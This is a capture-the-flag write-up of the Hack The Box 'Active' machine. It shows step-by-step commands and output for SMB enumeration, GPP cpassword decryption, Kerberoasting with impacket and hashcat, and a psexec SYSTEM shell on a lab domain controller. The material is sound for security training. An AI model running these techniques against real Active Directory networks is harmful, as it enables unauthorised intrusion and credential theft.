Active
2025-07-15 11:20
Status: solved
Difficulty: Easy
Active - HTB
Enumeration
Starting with an nmap scan.
nmap 10.10.10.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 05:23 EDT
Nmap scan report for 10.10.10.100
Host is up (0.029s latency).
Not shown: 982 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown
Narrowing down the port and gathering information about versions.
nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269 10.10.10.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 05:27 EDT
Nmap scan report for 10.10.10.100
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-15 09:27:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.44 seconds
We see that this machine is running a Windows 2008 server, with the active.htb domain.
Since this is a Windows machine, I normally start with a SMB enumeration. For this I will use the smbmap script, which gives us a clear output.
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
[*] Closed 1 connections
This shows us that I can read the Replication volume, without authentication.
User flag
smbclient //10.10.10.100/Replication -N
Manually enumerating this Replication share, I found an interesting file named Groups.xml. Reading the contents of this file gives us the following:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1"
neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
</User>
</Groups>
Looking into Active Directory security vulnerabilities, I found the following article: Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Microsoft introduced Group Policy Preferences (GPP). One of its features was to store credentials in many scenarios, including storing local admin credentials. Quoting the author of the post:
When a new GPP is created, there’s an associated XML file created in SYSVOL with the relevant configuration data and if there is a password provided, it is AES-256 bit encrypted which should be good enough… Except at some point prior to 2012, Microsoft published the AES private key on MSDN which can be used to decrypt the password. Since authenticated users (any domain user or users in a trusted domain) have read access to SYSVOL, anyone in the domain can search the SYSVOL share for XML files containing “cpassword” which is the value that contains the AES encrypted password.
The SYSVOL share is available through out the whole domain, to every authenticated user, therefore the encrypted passwords are there for taking. Since then Microsoft patched this, but for the already deployed system, the passwords remained in the SYSVOL share, and still many administrators use it.
Back to our machine, now with the knowledge that we can decrypt this password with the AES-256 key. There is a tool called gpp-decrypt on kali, which will be just fine for this.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
There it is, GPPstillStandingStrong2k18, a password we can use for the SVC_TGS user.
It worths to mention that, we could only read this password because the
Replicationshare was propably a copy of the SYSVOL share, given it has the same folder structure, except that non-authenticated users can read it too.
smbmap -H 10.10.10.100 -u "SVC_TGS" -d "active.htb" -p "GPPstillStandingStrong2k18"
With our user, we can be authenticated, and see what more doors open with this user.
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY
[*] Closed 1 connections
As we can see, the NETLOGON, SYSVOL and the Users became readable.
NETLOGON and SYSVOL holds no valuable information, however in the Users share inside the SVC_TGS\Desktop directory we can find the user flag.
Administrator access
For the Administrator account we need to look elsewhere, besides the SMB shares.
Kerberoast
Kerberos is the protocol for authentication, used in Windows Active Directory mostly. Tim Medin presented an attack against this protocol, as he said it: "Kicking the Guard Dog of Hades". I will try to summarize it as much as I can, but it worths to see the presentation for yourself, because he paints a very illustrative and detailed image of Kerberos and the attack against it.
In Kerberos the authentication happens between the Domain User and the KDC (Key Distribution Center), which is the DC (Domain Controller) in our case. To authenticate the user sends a requests to the KDC which request is encrypted with the hashed password of the user, then the KDC checks against this with its own record of hashed password, associated with the user, and if the request is valid, the KDC sends back a TGT (Ticket Granting Ticket) and a session key.
When a user wants to access a service (for example a MSSQL server), again it reaches out the KDC, which doesn't even check if the service is alive or the user has privilege to use the service, it gives out a TGS (Ticket Granting Service) which is encrypted with the hashed service account password. The service account is associated with SPNs (Service Principal Name) wich identifies services.
Then when a user tries to use a service, it provides the TGS, and the service checks if the user has access to it based on the TGS. Also the privileges in the request are protected by 2 HMACs, one signed with hashed Krbgt key, and one with the hashed service account password. So the protocol uses the same key (service account password) for encryption and signing.
The catch here is that any authenticated Domain User can request a TGS, and if the service account password is a human User password then cracking it is feasible.
Service account password
First, we have to enumerate what users have SPNs associated with them. For this I used the impacket-getUserSPN python tool. This also gives us a ticket to crack.
impacket-GetUserSPNs 'active.htb/SVC_TGS:GPPstillStandingStrong2k18' -dc-ip 10.10.10.100 -request -save -outputfile ticket.kirbi
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-07-15 04:59:46.446179
[-] CCache file is not found. Skipping...
cat ticket.kirbi
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5c0a5085398244d001bc3c3e23494367$930ca9decb4d06594f3d984360f0cde8a87e79dc70f4f0afc81fe8b95e0f527b783e8f355e1a0482d4992100581ffbcc1b0d56c45204dfb0d394e76b90d7adc2d4b763468b58e75b6dfb2669cab1b5b54874f71f39665477bbf0ffcd68e4e7ef0f7bab61de3b7310e1469f81aa23f54c7076d46026a43bb1c1d45652064cb2842d78303ef7bdf59640c1210b5dd2c8fc3070066ef443f94cd7c5777cc5bed0b9e6b5771323bcd76e67e7adf7aa2c9c33ae72e0e9a56d94adf2d681af52fefd6d866ae2d52ea0f89cff91fb9db85abfe289ef84f306ee8af86e927f4fefa4e3eb42b55935b461e1a5e201937eb190083f7bc45dfcd28c94f3dd47b07ae0a14cd13bba8e5d1ee8deafbc468bb121922abe160c6767410e37c12bb460887bac3972532327d2f34157911693778e0d0b386f40313a3beb28d0f2a28225f649f5e8ef037de91e1aadbe3b24ac1248c7c506afbadff41bd06f4280ec02c5d642fd49c6ecfacb1e6fb97725d33f6a58e0ed20038cba69e55f8007eec6fa866dedd48902647e158be09953111de9ed18be29b0b9b19cedee74aa5a5aaab8a76f2132bc6614220dd56883506c242a5c8d835e61f0d824e6e64b33fbe0e264355c70b12b71298f48db8069cc8faff74ba4075a09070ed7ccaf0879c0cb87b828e66cdc5fa339f9437179190642890508a0b82af407d63581cad5cfef9cb6e08421850d017b13685c33fe32d651736a6a09642774a1eaeda2786ffdfbfa7ac358045ef2ce09728baa80db5ad25d17af1f14a22e56aa9190e9b92f4c969f765bfca1660424cb0f06155d86ef9e1cac1f7c21b21d741fd2f96942d9a0a96b46e044ba675d4b15ed5cd7ecbffff902c5398fd39db74a669af4176ba6e52e2ef12eecf615f891b304554c22801ffee611dad5050dddcffebf33c834ff6f366bd97bcf482c17a5bf6cda2d8bb6282c337055e5441f3bd43454679df5c3d1723fe88cf4f41adb0969643cbecb4d58af1238a4253293591bb3e833130c02936efb354e382f80d5f1f6776b950cd76cf5253ff986374411442f7d06a546cafb63cbc9951785f7cd75f437c8113c84984e45bbd68f5d7ab11f565d8710769a1ee59df764e99f6535da40853d8fd56918cd2603a9f84547e7dc900cdf89bfce5084a4c5b18fd39e350172f42e03740b01bc751377ebfbe2cea9bca48c2d428c14e454a4c1aa0ba6106a8b9cbdf61280c0c2f3f8d183c9adb16143bdce304c4d177b87eeec
Looking up the $krb5tgs$23$ on the hashcat example sheet I find the correct mode to run hashcat with this ticket.
hashcat -a 0 -m 13100 ticket.kirbi /usr/share/wordlists/rockyou.txt
In no time it gives us the service account password.
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$ccdb96e649ccbd98588b3f9693f83e46$dd9fe1869c2fa9d3cc4407c563b1fdb06caa04196db2d20274a10bee090d226aac96ac5bceebb380bcc4b34f2e68f6da6b7228ac2a0a431e16f3bc57f319f23f5dce2f4eac3f26c36023559dd3c7478928d3b7460ea063fe194dca0b8e27ceeedd88a97a694d4f13172d2b2365d8f42085b851df209d8d488820313c3926231445236f46842671a91eeedb00e2ce2d785f1cbdba1b64e0f2a7d2b4fdf128ac707c94329866eb8175991488e7f5780a672872abc4ddd40b2ad27f6946a2fed9d1b5d03d4e2036250a45ba53ea6d759ade95e9f2e1be920f64cd95a1063ae2d7fd7c6038e8476059908a1b20f9694874cf707197e43177dd42f2c176885d1673cb6677263998d1d57a98da15074ed017fbb96244e00f232d6787e5709c3bcc90310b8f05139dbf7bd3ee2627fbf76633ab8313ef94d0ec92af1cc038be35987ca5d5ec226643fd36d590e82ee170e2dcd65584f9480726d39893bd453a0bd3a1863daab53dd40a898b6e3e36f8b5d3c20680dfc75d0b88e06b509715cd650a4ab33e2f0b5a155ad1d8be74c5316cc4cac928a53ce9bb5d346a32931e66826c6c4cdd1701616a03ea4dc719a890f07a5f2f56a0ad32cff0a35486c0f4b16b1cb133e3d73f5241716543459902d6aae5a49aaab82979f6119b8f165de751d18bbe4dc1195f2781b85c9702e96e352826dfa96fd5f5fac82004525221b5893bd5b8a1fe2961286e9f6aa66574cdf7432304343cdee9245da7cee8cc82426c2d6a19a6155d612b69af49da7a92425d5249695f91fda49a5aeb3b71b3a69386cb3f8589373af717d89a2787e9b7e3d778417d1d7222c7122399a565c3553e520f161eb479af78ccc6f5f59db3b045af5aa5917ef63c4c3c56e5c6996655f6873777cd38e36bfb597afbd3ac72c245fe4e0785d0c16df806e86d953bfe8043b9199321840fa20255e042bb343bf5241a51b6dadb3d7ff864ac56c511c9675765e6de08d5f751f70170fb03065b07578674e65dd11797473d5985d991ff8e34050affed45061938fd925f397e9636e7d75eb52f9e16ce8b23549ee8d3a0fca469fd976a211dffcbd0f4c9f0acb641bd56359fc60edc136dad434207350243d35dfc13910eefa3ecd60bd57a0f583c188a16dcb24aa001f2fce643e850a38b27eda3232e1be1186d526cd5ca0ba8c106f9f5419c93a4a91ec75fb694b65e2d6e2a868df7fef2256c5c57505d8a4ed03595204d890270ea3bd629863286680d:Ticketmaster1968
With this password we can connect to the SMB with the Administrator user.
smbclient //10.10.10.100/Users -U Administrator%Ticketmaster1968
After successfully authenticating ourselfs we can get the root.txt containing the root flag and finish this challenge.
Administrator shell
The challenge is done, but we are not done yet. A system is pwned when we get a shell so lets get a shell. Obviously this is trivial after we have the credentials for the Administrator user and the shares are writable. impacket has a tool for this too.
impacket-psexec active.htb/[email protected]
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file rTOLNjmN.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service Cxcz on 10.10.10.100.....
[*] Starting service Cxcz.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system